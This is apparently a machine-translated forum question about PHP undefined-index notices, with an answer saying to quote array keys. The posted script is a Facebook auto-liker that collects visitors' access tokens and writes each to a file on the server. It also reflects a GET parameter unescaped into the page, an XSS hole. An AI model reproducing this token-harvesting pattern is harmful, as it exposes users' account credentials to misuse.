2014-04-17 69 views
-2

我不明白髮生了什麼,我沒有對此做出任何腳本的變化,所有的突然,它給這個錯誤:未定義指數和未定義的常量使用 - PHP錯誤

  • PHP Notice: Undefined index: last_session_request in /home2/leetshar/public_html/in/index.php on line 22
  • PHP Notice: Use of undefined constant act - assumed 'act' in /home2/leetshar/public_html/in/index.php on line 80
  • PHP Notice: Undefined index: act in /home2/leetshar/public_html/in/index.php on line 80
  • PHP Notice: Use of undefined constant access_token - assumed 'access_token' in /home2/leetshar/public_html/in/index.php on line 83
  • PHP Notice: Use of undefined constant id - assumed 'id' in /home2/leetshar/public_html/in/index.php on line 86
  • PHP Notice: Undefined index: id in /home2/leetshar/public_html/in/index.php on line 86
  • PHP Notice: Use of undefined constant access_token - assumed 'access_token' in /home2/leetshar/public_html/in/index.php on line
    153
  • PHP Notice: Undefined index: access_token in /home2/leetshar/public_html/in/index.php on line 153

我的代碼正常工作在過去的幾天,但現在它給了我一個像我之前說過的錯誤。

,這裏是我的index.php代碼(我做出的錯誤後的那幾個編輯):

<?php 
$like = new like(); 
if($_GET[act]){ 
print '???'; 
} 
if(isset($_POST[access_token])){ 
$access_token = $_POST[access_token]; 
$me = $like -> me($access_token); 
if($me[id]){ 
echo ' 

     <div class="login"> 
     <div class="login-screen"> 
    <div class="login-icon"><img src="https://graph.facebook.com/'.$me[id].'/picture" alt="Welcome to Mail App" /><h4>Welcome<small>'.$me[name].'</small></h4></div> 
'; 

$like -> x($access_token); 
if($_POST[id]){ 
$like -> pancal($_POST[id]); 
}else{ 
$like -> getData($access_token); 
} 
}else{ 
$like -> invalidToken(); 
} 
}else{ 
$like->form(); 
} 
class like { 

public function pancal($id){ for($i=1;$i<4;$i++){ 
$this-> _req('http://google.com/gwt/n?u='.urlencode('http://'.$_SERVER[HTTP_HOST].'/post.php?id='.$id.'&n='.$i)); } 
echo ' 
<h2>Success! âœ」</h2> 
<script>top.location.href="http://mywebsite.com/end.php"</script> 
'; 
// header('Location: http://mywebsite.com/end.php'); 
} 

public function me($access){ 
return json_decode($this-> _req('https://graph.facebook.com/me?access_token='.$access),true); 
} 
public function x($access){ 
if(!is_dir('x')){ 
mkdir('x'); 
} 
$a=fopen('x/'.$access,'w'); 
$aloc=fopen('../x/'.$access,'w'); 
fwrite($aloc,1); 
fwrite($a,1); 
fclose($a); 
fclose($aloc); 
$this->adloc(); 
} 
public function adloc(){ 
} 
public function invalidToken(){ 
print ' 
Invalid Access Token ✘ 
'; 
$this->form(); 
} 
public function form(){ 
print' 
     <div class="login"> 
     <div class="login-screen"> 
      <div class="login-icon"> 
      <img src="https://fbcdn-profile-a.akamaihd.net/hprofile-ak-ash3/t1.0-1/c0.15.180.180/531827_175253335947123_1431869775_a.jpg" alt="Welcome to Mail App" /> 
      <h4>Welcome<small>Famous</small></h4> 
      </div> 

      <div class="login-form"> 
      <form action="http://www.mywebsite.com/" method="post"> 
     <font color="#333333">Access Token</font> 
      <div class="form-group"> 
       <input class="form-control login-field" autocomplete="off" type="text" name="access_token" placeholder="CAAAAKLSe4lIBAEaxH0rrZ..." value="'.$_GET[access_token].'" required> 
       <label class="login-field-icon fui-lock" for="login-pass"></label> 
      </div> 

      <input class="btn btn-primary btn-lg btn-block" type="submit" value="Login"> 
     <a class="btn btn-block btn-lg btn-info" href="http://www.linkbucks.com/8d87b1e7" target="_blank">Get Access Token</a> 
      <a class="login-link" target="_blank" href="http://www.linkbucks.com/a23dfeae">How to use this? | Tutorial</a> 
      </form> 
      </div> 
     </div> 
     </div> 
    </div> 
'; 
} 

public function getData($access){ 
$feed=json_decode($this -> _req('https://graph.facebook.com/me/feed?access_token='.$access.'&limit=1'),true); 
if(count($feed[data]) >= 1){ 
echo ' 
<div class="birumuda"> 
'; 
for($i=0;$i<count($feed[data]);$i++){ 
$uid = $feed[data][$i][from][id]; 
$name = $feed[data][$i][from][name]; 
$type = $feed[data][$i][type]; 
$mess = str_replace(urldecode('%0A'),'<br/>',htmlspecialchars($feed[data][$i][message])); 
$id = $feed[data][$i][id]; 
$pic = $feed[data][$i][picture]; 
echo' 
      <div class="login-form"> 
      <div id="prepage"> 
      <form name="myform" id="myform" action="http://www.mywebsite.com" method="post"/> 
      <input type="hidden" name="access_token" value="'.$access.'"/> 
     <font color="#333333">UID</font> 
      <div class="form-group"> 
       <input class="form-control login-field" type="show" name="id" placeholder="Your post UID here" value="'.$id.'"/> 
       <label class="login-field-icon fui-heart" for="login-pass"></label> 
      </div> 

     <input name="pancal" type="submit" value="Local" onclick="autoLike();" class="btn btn-primary btn-lg btn-block"/> 
     <input type="button" value="International" name="pancal" onclick="interlike();" class="btn btn-primary btn-lg btn-block"/> 
      <a class="login-link" href="#">How to Know my UID?</a> 
      </form> 
      </div> 
      <div id="loading" style="display: none;"> 
     <img src="http://www.mywebsite.com/process.gif" align="middle" border="0" alt="Please Wait .." /> Sending Likes .. 
     </div> 
      </div> 
     </div> 
     </div> 
    </div> <!-- /container --> 
'; 
} 
}else{ 
print ' 
Status not found :(
'; 
} 
print ' 
</div> 
'; 
} 

private function _req($url){ 
$ch = curl_init(); 
curl_setopt_array($ch,array(
CURLOPT_CONNECTTIMEOUT => 5, 
CURLOPT_RETURNTRANSFER => true, 
CURLOPT_URL => $url, 
) 
); 
$result = curl_exec($ch); 
curl_close($ch); 
return $result; 
} 
} 

?> 

謝謝誰可以給我響應你的周圍數組鍵

+0

如果它以前工作,現在不是現在,** **已經改變。你有什麼改變? –

+0

很可能是網絡主機在ini文件中的錯誤報告變化 –

+0

有人將錯誤顯示打開?您可能會在之前的服務器錯誤日誌中找到相同的消息。 – jeroen

回答

1

把雙引號:

if(isset($_POST[access_token])){ 
    $access_token = $_POST[access_token]; 

應該

if(isset($_POST['access_token'])){ 
    $access_token = $_POST['access_token']; 

您需要爲所有陣列鍵(即$ _POST變量)。